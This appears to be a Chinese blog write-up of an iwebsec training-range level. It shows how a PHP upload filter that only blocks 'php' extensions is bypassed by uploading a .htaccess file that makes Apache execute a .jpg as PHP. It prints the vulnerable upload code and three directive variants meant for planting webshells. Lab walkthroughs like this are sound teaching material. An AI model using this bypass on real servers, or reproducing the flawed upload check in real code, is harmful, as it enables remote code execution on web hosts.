iwebsec靶场 文件上传漏洞通关笔记5-.htaccess过滤绕过

目录

第05关 .htaccess过滤绕过

1.打开靶场

2.源码分析

3.htaccess文件介绍

(1)什么是.htaccess文件

(2)如何配置使.htaccess生效

4.如何通过.htaccess文件绕过过滤

方法1:

方法2:

方法3:

5.构造htaccess文件

6.上传脚本

7.获取上传图片url地址

8.访问上传脚本


第05关 .htaccess过滤绕过

1.打开靶场

http://iwebsec.com:81/upload/05.php

构造脚本info.php,内容为<?php phpinfo();?>,如下所示

 随手上传脚本,提示不让上传php文件

2.源码分析

如下所示文件过滤方式为检查是否包含大小写不敏感的php关键字

<?php

  require_once('../header.php');
  ?>
<html>
<meta http-equiv="Content-Type" content="text/html;  charset=utf8"/>
	<head>
		<title>.htaccess文件上传</title>
	</head>
	<h2>.htaccess文件上传</h2>
		<div class="alert alert-success">
			<p>请上传PHP文件</p>
		</div>
	<body>
<form  enctype="multipart/form-data" method="post" name="uploadfile">
请上传文件:<input type="file" name="upfile" /><br> 
<input type="submit" name="submit" value="submit" />
</form> 
</html>
<?php 
//print_r($_FILES["upfile"]); 
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
$upfile=$_FILES["upfile"]; 
//获取数组里面的值 
$name=$upfile["name"];//上传文件的文件名 
$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
$size=$upfile["size"];//上传文件的大小 
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
//判断是否为图片 
if (preg_match('/php/i', $type)) {
echo "<script>alert('不能上传php文件!')</script>";
die();
}else{
 
$error=$upfile["error"];//上传后系统返回的值 
echo "================<br/>"; 
echo "上传文件名称是:".$name."<br/>"; 
echo "上传文件类型是:".$type."<br/>"; 
echo "上传文件大小是:".$size."<br/>"; 
echo "上传后系统返回的值是:".$error."<br/>"; 
echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 

echo "开始移动上传文件<br/>"; 
//把上传的临时文件移动到up目录下面 
move_uploaded_file($tmp_name,'up/'.$name); 
$destination="up/".$name; 
echo "================<br/>"; 
echo "上传信息:<br/>"; 
if($error==0){ 
	echo "文件上传成功啦!"; 
	echo "<br>图片预览:<br>"; 
	echo "<img src=".$destination.">"; 
	//echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">"; 
	}
}
}

?>

关键部分的代码如下所示

//判断是否为图片 
if (preg_match('/php/i', $type)) {
echo "<script>alert('不能上传php文件!')</script>";
die();
}

 这个时候可以使用绕过的方法就包括.htacess法,.ini法,空格过滤法等,应本关卡的主题.htaccess过滤,于是选择htaccess法绕过

3.htaccess文件介绍

(1)什么是.htaccess文件

htaccess文件全称是超文本入口,提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。

(2)如何配置使.htaccess生效

 是否只要上传.hataccess文件就一定产生作用?

不一定,需要配置相应的文件.

(1)配置文件mod_rewrite模块开启

(2)配置文件httpd.conf需要AllowOverride 处于All状态

(3)ts多线程安全版本

特别要注意的是phpstudy版本中默认安装的php为nts版本,不支持.htaccess功能绕过。也就是说需要绑定ts版本的php,否则.htaccess文件也是无法生效的。

4.如何通过.htaccess文件绕过过滤

方法1:

如下配置的原理是jpg后缀名的文件使用php解析,然后再上传一个带有webshell的jpg文件即可。

AddType application/x-httpd-php .jpg //含义:将jpg文件解析为php文件

方法2:

该语句作用是让Apache将其他类型文件均以php格式解析,这样可以上传任意webshell的非php文件格式

SetHandler application/x-httpd-php //含义:将所有的文件都当做PHP执行

方法3:

该语句的作用是将指定info5.jpg按照php格式执行,这样上传info5.jpg后,这个info5.jpg将被当作php文件执行

<FilesMatch "info5.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

5.构造htaccess文件

基于如上分析,使用方法3来进行绕过,创建.htaccess文件,内容如下

<FilesMatch "info5.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

 同时将info.php改名为info5.jpg,如下所示,

6.上传脚本

将info5.jpg和.htaccess均上传到服务器中,如下所示.htaccess文件由于不在黑名单中,可以上传成功

 接下来将info5.jpg上传

7.获取上传图片url地址

在info5.jpg上传成功的图片预览处,右键鼠标复制图片地址

8.访问上传脚本

phpinfo()icon-default.png?t=N7T8http://iwebsec.com:81/upload/up/info5.jpg

 如上所示,渗透成功

  • 29
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值